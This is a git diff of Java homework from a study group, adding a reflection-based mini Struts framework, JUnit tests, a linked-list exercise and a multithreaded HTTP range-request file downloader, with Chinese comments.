+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
new file mode 100644
index 0000000000..6e1cb4ba96
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/Struts.java
@@ -0,0 +1,163 @@
+package com.danny.hw2;
+
+import java.io.File;
+import java.lang.invoke.CallSite;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+import org.jaxen.*;
+
+public class Struts {
+
+	private static Document file = null;
+	private static String file_path = 
+			new File("").getAbsolutePath()+".\\xmlFolder\\struts.xml";
+
+	private static String viewPath="com.danny.hw2.View";
+	
+	//0. 读取配置文件struts.xml
+    private static Document parse(String path){
+        SAXReader reader = new SAXReader();
+        Document document = null;
+		try {
+			document = reader.read(path);
+		} catch (DocumentException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();			
+		}
+        return document;
+    }
+    
+    private static Element getAction(Document document,String name){
+
+    	List<Element> lElement = (List<Element>) file.selectObject("/struts/action");
+    	Element actionElement = null;
+    	for(Element e:lElement){
+    		if(e.attributeValue("name").equals(name)){
+    			actionElement = e;    			
+    			break;
+    		}
+    	}
+    	return actionElement;
+    }
+	
+    public static View runAction(String actionName, Map<String,String> parameters) {
+    	
+    	file = parse(file_path);
+    	
+    	//返回的class View;
+    	Object viewClass = null;
+    	
+    	
+    	//0 Get Action Element    	
+    	Element actionElement = getAction(file, actionName);
+
+    	
+    	String actionClassPath = actionElement.attributeValue("class");
+    	System.out.println(actionClassPath);
+    	
+    	Object action = null;
+    	
+    	try {
+    		/*
+    		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+    		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+    		("name"="test" ,  "password"="1234") ,   		     	
+    		那就应该调用 setName和setPassword方法
+    		*/
+			action = Class.forName(actionClassPath).newInstance();
+			
+			Method setName = action.getClass().getMethod("setName",String.class);
+			setName.invoke(action, parameters.get("name"));
+			
+			Method setPassword = action.getClass().getMethod("setPassword",String.class);
+			setPassword.invoke(action, parameters.get("password"));
+			
+			
+			//2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+			Method execute = action.getClass().getMethod("execute", null);
+			Object status = execute.invoke(action);
+			
+			System.out.println(status.toString());
+			
+			
+			//3获得所有的Getter字段
+			Field[] files = action.getClass().getDeclaredFields();
+			
+			HashMap<String,String> save = new HashMap<>();
+			
+			//找到需要的数据，线存到save中
+			for (int i = 0; i < files.length; i++) {
+				String name = files[i].getName();
+				name = "get" + name.substring(0,1).toUpperCase() + 
+						name.substring(1);
+				
+				
+				Method getter = action.getClass().getMethod(name,null);
+				save.put(files[i].getName(), (String) getter.invoke(action));
+				
+			}
+			//塞进viewClass里面
+			viewClass = Class.forName(viewPath).newInstance();
+			Method setParameters = viewClass.getClass().getMethod("setParameters", Map.class);
+			setParameters.invoke(viewClass, save);
+			
+			
+			
+			//4将jsp放进去
+			List<Element> resultElement = actionElement.selectNodes("result");
+			for(Element e:resultElement){
+				if(e.attributeValue("name").equals(status.toString())){
+					String jspFields= e.getStringValue();
+					viewClass.getClass().getMethod("setJsp", String.class).
+					invoke(viewClass, jspFields);
+				}
+				
+			}
+			
+			
+		} catch (Exception e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+			
+			throw new RuntimeException(e.getMessage());
+		}
+    	
+    	
+    	
+    	
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	
+    
+    	return (View) viewClass;
+    }    
+
+
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
new file mode 100644
index 0000000000..67ff0a061b
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/View.java
@@ -0,0 +1,23 @@
+package com.danny.hw2;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
new file mode 100644
index 0000000000..a7fce5320a
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/ArrayUtilTest.java
@@ -0,0 +1,95 @@
+package com.danny.hw2.test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import com.danny.hw2.ArrayUtil;
+
+public class ArrayUtilTest {
+
+	@Test
+	public void testReverseArray() {
+//		 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+//				 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+		int[] testData = new int[]{7,9,30,3};
+		int[] ans = new int[]{3,30,9,7};
+		new ArrayUtil().reverseArray(testData);
+		
+		for (int i = 0; i < ans.length; i++) {
+			assertEquals(ans[i], testData[i]);
+		}
+	}
+
+	@Test
+	public void testRemoveZero() {
+		int[] testData = new int[]{1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
+		int[] ans = new int[]{1,3,4,5,6,6,5,4,7,6,7,5};
+	
+		int[] test = new ArrayUtil().removeZero(testData);
+		for (int i = 0; i < ans.length; i++) {
+			assertEquals(ans[i], test[i]);
+		}
+	}
+
+	@Test
+	public void testMerge() {
+//		 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+//				 * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+		int[] a1 = new int[]{3, 5, 7,8};
+		int[] a2 = new int[]{4,5,6,7};
+		
+		int[] ans = new int[]{3,4,5,6,7,8};
+		
+		int[] test = new ArrayUtil().merge(a1, a2);
+		
+		for (int i = 0; i < test.length; i++) {
+			assertEquals(ans[i], test[i]);
+		}
+
+	}
+
+	@Test
+	public void testGrow() {
+//		把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+//		 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+//		 * [2,3,6,0,0,0]
+ 
+		int size = 3;
+		int[] testData = new int[]{2,3,6};
+		int[] test = new ArrayUtil().grow(testData, size);
+		assertEquals(testData.length+size, test.length);
+		
+	}
+
+	@Test
+	public void testFibonacci() {
+		int[] ans = new int[]{1,1,2,3,5,8,13};
+		int[] array = new ArrayUtil().fibonacci(15);		
+		for (int i = 0; i < ans.length; i++) {
+			assertEquals(ans[i], array[i]);	
+		}
+		
+	}
+
+	@Test
+	public void testGetPerfectNumbers() {
+		
+		int[] ans=new int[]{1,2,4,7,14};
+		int[] array=new ArrayUtil().getPerfectNumbers(28);
+		for (int i = 0; i < array.length; i++) {
+			assertEquals(ans[i], array[i]);
+		}
+	}
+
+	@Test
+	public void testJoin() {
+		//* 用seperator 把数组 array给连接起来 例如array= [3,8,9],
+		//seperator = "-" 则返回值为"3-8-9"
+		int[] test = new int[]{3,8,9};
+		
+		String test1 = new ArrayUtil().join(test, "-");
+		assertEquals("3-8-9", test1);
+	}
+
+}
diff --git a/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
new file mode 100644
index 0000000000..49b770f015
--- /dev/null
+++ b/group23/729693763/Second_Homework2/src/com/danny/hw2/test/StrutsTest.java
@@ -0,0 +1,46 @@
+package com.danny.hw2.test;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.danny.hw2.Struts;
+import com.danny.hw2.View;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/729693763/Third_Homework3/DataStruct/Iterator.java b/group23/729693763/Third_Homework3/DataStruct/Iterator.java
new file mode 100644
index 0000000000..2ca354f82a
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/Iterator.java
@@ -0,0 +1,6 @@
+package com.zhous.DataStruct;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/729693763/Third_Homework3/DataStruct/LinkedList.java b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
new file mode 100644
index 0000000000..2a6663a3ba
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/LinkedList.java
@@ -0,0 +1,327 @@
+package com.zhous.DataStruct;
+
+import javafx.beans.binding.ObjectExpression;
+
+
+
+public class LinkedList implements List {
+	
+	private Node head = null;
+	private int size = 0;
+
+	public void add(Object o){
+		addLast(o);
+		this.size++;
+	}
+
+	//内部调用的方法：
+	//2 返回添加到哪个Node
+	private Node findBeforeInsertNode(int needInsertIndex){
+		Node findGetNode = this.head;
+		for ( int i=0; i< needInsertIndex - 1; i++ ) {
+			findGetNode = findGetNode.next;
+		}
+		return findGetNode;
+	}
+	//3
+	private void checkPositionIndex(int index) {
+		if ( !( index >= 0 && index <= size ) )
+			throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+
+	//4
+	private void addBeforeNode(int index, Object o) {
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+
+		Node beforeInserNode = this.head;
+
+
+			beforeInserNode =  findBeforeInsertNode(index);
+
+			newNode.next = beforeInserNode.next;
+			beforeInserNode.next = newNode;
+
+	}
+	//5
+	private Node findIndexNode(int index){
+		Node findGetNode = this.head;
+		for ( int i=0; i< index; i++ ) {
+			findGetNode = findGetNode.next;
+		}
+		return findGetNode;
+	}
+
+
+	public void add(int index , Object o){
+		checkPositionIndex(index);
+		if( index == size()){
+			addLast(o);
+		} else if ( index == 0 ) {
+			addFirst(o);
+		} else{
+			addBeforeNode(index,o);
+		}
+		this.size++;
+	}
+
+
+
+
+	public Object get(int index){
+		checkElementIndex(index);
+		return findIndexNode(index);
+	}
+	public Object remove(int index){
+		checkElementIndex(index);
+		Object deleteData = null;
+
+		if(index == 0){
+			deleteData = removeFirst();
+		} else if(index == (size() - 1) ){
+			deleteData = removeLast();
+		} else {
+			Node temp = findBeforeInsertNode(index);
+			Node tempNext = temp.next;
+			deleteData = tempNext.data;
+
+			temp.next = tempNext.next;
+			tempNext = null;
+		}
+
+		return deleteData;
+	}
+
+	//6
+	private void checkElementIndex(int index) {
+		if ( !( index >= 0 && index < size ) )
+			throw new IndexOutOfBoundsException("Invalid Index:"+index);
+	}
+
+	public int size(){
+		return this.size;
+	}
+	
+	public void addFirst(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+		if ( this.head == null  ) {
+			this.head = newNode;
+		} else {
+			newNode.next = this.head;
+			this.head = newNode;
+		}
+	}
+	private void addLast(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		newNode.next = null;
+		if ( head == null ) {
+			head = newNode;
+		} else{
+			findBeforeInsertNode(this.size).next = newNode;
+		}
+	}
+	public Object removeFirst(){
+		Object data;
+		Node newHead = new Node();
+		newHead = this.head;
+		this.head = newHead.next;
+
+		data = newHead.data;
+		newHead = null;
+		return  data;
+	}
+	public Object removeLast(){
+		Object data;
+		Node last = findIndexNode(this.size() -1);
+		data = last.data;
+		last = null;
+
+		return data;
+	}
+	public Iterator iterator()
+	{
+		return new LinkedListIterator();
+	}
+
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		Node first ;
+		int currentIndex = 1;
+		this.head = findIndexNode(this.size - 1);
+		if(this.size() <= 1){
+			return;
+		}
+		while(currentIndex < this.size() ){
+			first = findIndexNode(this.size() - currentIndex);
+			first.next = findIndexNode(this.size - currentIndex - 1);
+			currentIndex++;
+		}
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		checkElementIndex(this.size());
+
+		int mid = this.size / 2;
+		Node temp = this.head;
+		this.head = findIndexNode(mid);
+		for (int i = 0; i < mid; i++) {
+			Node T = temp.next;
+			temp = null;
+			temp = T;
+		}
+
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param index
+	 * @param length
+	 */
+	public  void remove(int index, int length){
+		checkElementIndex(length + index );
+
+		Node before = findBeforeInsertNode(index);
+		Node temp = findIndexNode(index);
+		for (int i= 0; i < length; i++) {
+			Node T = temp.next;
+			temp = null;
+			temp = T;
+		}
+		before.next = temp;
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		Node listNode = list.head;
+		Node myNode = this.head;
+		int[] data = new int[list.size()];
+		for (int i = 0; i < this.size(); i++) {
+			if(i == (Integer) listNode.data){
+				data[i] = (Integer)myNode.data;
+			}
+			myNode = myNode.next;
+		}
+
+		return data;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+
+		int[] data = new int[list.size()];
+		for (int i = 0,j = 0; i < this.size(); i++) {
+			for (; j < list.size(); j++) {
+				if(this.get(i).equals(list.get(j))){
+					this.remove(i);
+					break;
+				}
+			}
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 * （选做）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 * （选做）
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+        LinkedList listC = new LinkedList();
+
+        for (int i = 0,j = 0; i < this.size(); i++) {
+            for (; j < list.size(); j++) {
+                if(this.get(i).equals(list.get(j))){
+                    listC.add(this.get(i));
+                    break;
+                }
+            }
+        }
+
+
+
+		return listC;
+	}
+
+
+
+	/************Iterator**************/
+	private class LinkedListIterator implements Iterator{
+		private Node currentNode;
+		private int currentIndex;
+
+		public LinkedListIterator() {
+			// TODO Auto-generated constructor stub
+			this.currentIndex = 0;
+			this.currentNode = new Node();
+		}
+		@Override
+		public boolean hasNext() {
+			// TODO Auto-generated method stub
+			return currentIndex < size();
+		}
+
+		@Override
+		public Object next() {
+			// TODO Auto-generated method stub
+			checkElementIndex(currentIndex);
+			if ( currentNode.data == null ) {
+				this.currentNode = findIndexNode(currentIndex);
+			}
+			Object value = currentNode.data;
+			currentNode = currentNode.next;
+			currentIndex++;
+			return value;
+		}
+	}
+}
diff --git a/group23/729693763/Third_Homework3/DataStruct/List.java b/group23/729693763/Third_Homework3/DataStruct/List.java
new file mode 100644
index 0000000000..aa8b039453
--- /dev/null
+++ b/group23/729693763/Third_Homework3/DataStruct/List.java
@@ -0,0 +1,10 @@
+package com.zhous.DataStruct;
+
+public interface List {
+	void add(Object o);
+	void add(int index, Object o);
+	Object get(int index);
+	Object remove(int index);
+	int size();
+	Iterator iterator();
+}
diff --git a/group23/729693763/Third_Homework3/download/DownloadThread.java b/group23/729693763/Third_Homework3/download/DownloadThread.java
new file mode 100644
index 0000000000..3ab337e352
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/DownloadThread.java
@@ -0,0 +1,49 @@
+package com.zhous.download;
+
+import com.zhous.download.api.Connection;
+import com.zhous.download.api.DownloadListener;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+	File targetFile;
+	DownloadListener downloadListener;
+
+	public DownloadThread( Connection conn, int startPos, int endPos,File targetFile,DownloadListener downloadListener){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		this.targetFile = targetFile;
+		this.downloadListener = downloadListener;
+	}
+	public void run(){	
+		try {
+			//读取到指定长度的二进制数据
+			System.out.println(this.getName()+"开始下载");
+			byte[] data = conn.read(startPos,endPos);
+
+			//插入的file中去
+			RandomAccessFile raFile = new RandomAccessFile(this.targetFile,"rw");
+			raFile.seek(startPos);
+			raFile.write(data,0,endPos-startPos );
+
+			raFile.close();
+			//做完了
+			if(FileDownloader.isDownloadFinish() ){
+				downloadListener.notifyFinished();
+				System.out.println(this.getName()+"完成最后的下载，并写入文件");
+			}
+
+
+		}catch (IOException e){
+
+		}
+	}
+}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloader.java b/group23/729693763/Third_Homework3/download/FileDownloader.java
new file mode 100644
index 0000000000..098f9408f0
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/FileDownloader.java
@@ -0,0 +1,96 @@
+package com.zhous.download;
+
+import com.zhous.download.api.Connection;
+import com.zhous.download.api.ConnectionException;
+import com.zhous.download.api.ConnectionManager;
+import com.zhous.download.api.DownloadListener;
+
+import java.io.File;
+import java.util.Set;
+
+
+public class FileDownloader {
+
+	String url="https://image.baidu.com/search/down?tn=download&word=download&ie=utf8&fr=detail&url=https%3A%2F%2Ftimgsa.baidu.com%2Ftimg%3Fimage%26quality%3D80%26size%3Db9999_10000%26sec%3D1490203615530%26di%3D2b1827956a01011d3634f3e04b01b15c%26imgtype%3D0%26src%3Dhttp%253A%252F%252Fimg15.3lian.com%252F2015%252Fh1%252F338%252Fd%252F157.jpg&thumburl=https%3A%2F%2Fss1.bdstatic.com%2F70cFvXSh_Q1YnxGkpoWK1HF6hhy%2Fit%2Fu%3D2613489365%2C2336631324%26fm%3D23%26gp%3D0.jpg";
+	private static int threadNum = 5;
+	private static int threadCount = 0;
+	int avgBytes = 0;
+
+	DownloadListener listener;
+	ConnectionManager cm;
+	File file = null;
+
+	public FileDownloader(String _url,String fileName) {
+		this.url = _url;
+		this.file = new File(fileName);
+	}
+
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+
+			conn = cm.open(this.url);
+			int length = conn.getContentLength();
+			avgBytes = length / threadNum;
+			//使用5个线程去下载；
+			for (int i = 0; i < threadNum; i++) {
+				int startPos = i*avgBytes;
+				int endPos = startPos + avgBytes - 1;
+				if(i == threadNum -1) {
+					endPos = length;
+				}
+
+				Connection c = cm.open(this.url);
+				DownloadThread thread = new DownloadThread(c,startPos,endPos,file,this.getListener());
+				thread.setName("Thread"+(i+1) );
+				thread.start();
+			}
+
+		} catch (ConnectionException e) {
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+
+
+
+
+	}
+
+
+
+	public void setListener (DownloadListener listener){
+		this.listener = listener;
+	}
+
+	public synchronized static  boolean isDownloadFinish(){
+		threadCount++;
+		return threadCount == threadNum;
+	}
+
+
+
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+
+}
diff --git a/group23/729693763/Third_Homework3/download/FileDownloaderTest.java b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..ca8817ba88
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/FileDownloaderTest.java
@@ -0,0 +1,58 @@
+package com.zhous.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.zhous.download.api.ConnectionManager;
+import com.zhous.download.api.DownloadListener;
+import com.zhous.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+
+		String url="http://www.mydeskcity.com//upload/pc/112/960x600/1351650816239.jpg";
+		String github = "https://github.com/em14Vito/coding2017/archive/master.zip";
+
+//		FileDownloader downloader = new FileDownloader(url,"Data23.jpg");
+		FileDownloader downloader = new FileDownloader(github,"github.zip");
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+		downloader.execute();
+
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/729693763/Third_Homework3/download/api/Connection.java b/group23/729693763/Third_Homework3/download/api/Connection.java
new file mode 100644
index 0000000000..170791e8ba
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/Connection.java
@@ -0,0 +1,23 @@
+package com.zhous.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos, int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionException.java b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
new file mode 100644
index 0000000000..925368135d
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.zhous.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/729693763/Third_Homework3/download/api/ConnectionManager.java b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..b331ee7f1f
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.zhous.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/729693763/Third_Homework3/download/api/DownloadListener.java b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
new file mode 100644
index 0000000000..07b1a950ce
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.zhous.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..6a4b98fe06
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/impl/ConnectionImpl.java
@@ -0,0 +1,80 @@
+package com.zhous.download.impl;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLConnection;
+
+import com.zhous.download.api.*;
+
+public class ConnectionImpl implements Connection{
+
+
+	InputStream is = null;
+	URL url = null;
+	HttpURLConnection http = null;
+	ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+	//构造方法：
+	public ConnectionImpl() {
+	}
+
+	//打开url并且创建连接
+	public ConnectionImpl(String url) {
+		try {
+			this.url = new URL(url);
+			http = (HttpURLConnection) this.url.openConnection();
+			//设置超时
+			http.setConnectTimeout(5000);
+			http.setReadTimeout(5000);
+
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+
+		//指定http中读取一定长度的byte
+		http.setRequestProperty("Range","bytes= "+Integer.toString(startPos)+"-"+Integer.toString(endPos));
+		http.connect();
+
+		//读取输入流到其中
+		is = http.getInputStream();
+		byte[] buffer = new byte[1024];
+		int len = 0;
+		while( (len = is.read(buffer) ) != -1) {
+
+			bos.write(buffer, 0, len);
+		}
+
+		//关闭所有流，每次read的时候自动关闭。
+		close();
+		return bos.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return http.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		try {
+			bos.close();
+			if(is != null) {
+				is.close();
+			}
+			http.disconnect();
+		} catch (IOException e) {
+			e.printStackTrace();
+			System.out.println(e.getMessage());
+		}
+	}
+
+}
diff --git a/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..28af08a0cd
--- /dev/null
+++ b/group23/729693763/Third_Homework3/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,27 @@
+package com.zhous.download.impl;
+
+import  com.zhous.download.api.*;
+
+import java.net.MalformedURLException;
+import java.net.URL;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection ct = null;
+		URL u = null;
+		try {
+			u = new URL(url);
+			ct = new ConnectionImpl(url);
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} finally {
+			//URL类不需要关闭
+		}
+		return ct;
+	}
+
+}
diff --git a/group23/729693763/homework1_demo/ArrayList.java b/group23/729693763/homework1_demo/ArrayList.java
new file mode 100644
index 0000000000..1f185736f9
--- /dev/null
+++ b/group23/729693763/homework1_demo/ArrayList.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class ArrayList implements List {
+	
+	private int size = 0;
+	
+	private Object[] elementData = new Object[100];
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index, Object o){
+		
+	}
+	
+	public Object get(int index){
+		return null;
+	}
+	
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public Iterator iterator(){
+		return null;
+	}
+	
+}
diff --git a/group23/729693763/homework1_demo/BinaryTreeNode.java b/group23/729693763/homework1_demo/BinaryTreeNode.java
new file mode 100644
index 0000000000..d7ac820192
--- /dev/null
+++ b/group23/729693763/homework1_demo/BinaryTreeNode.java
@@ -0,0 +1,32 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
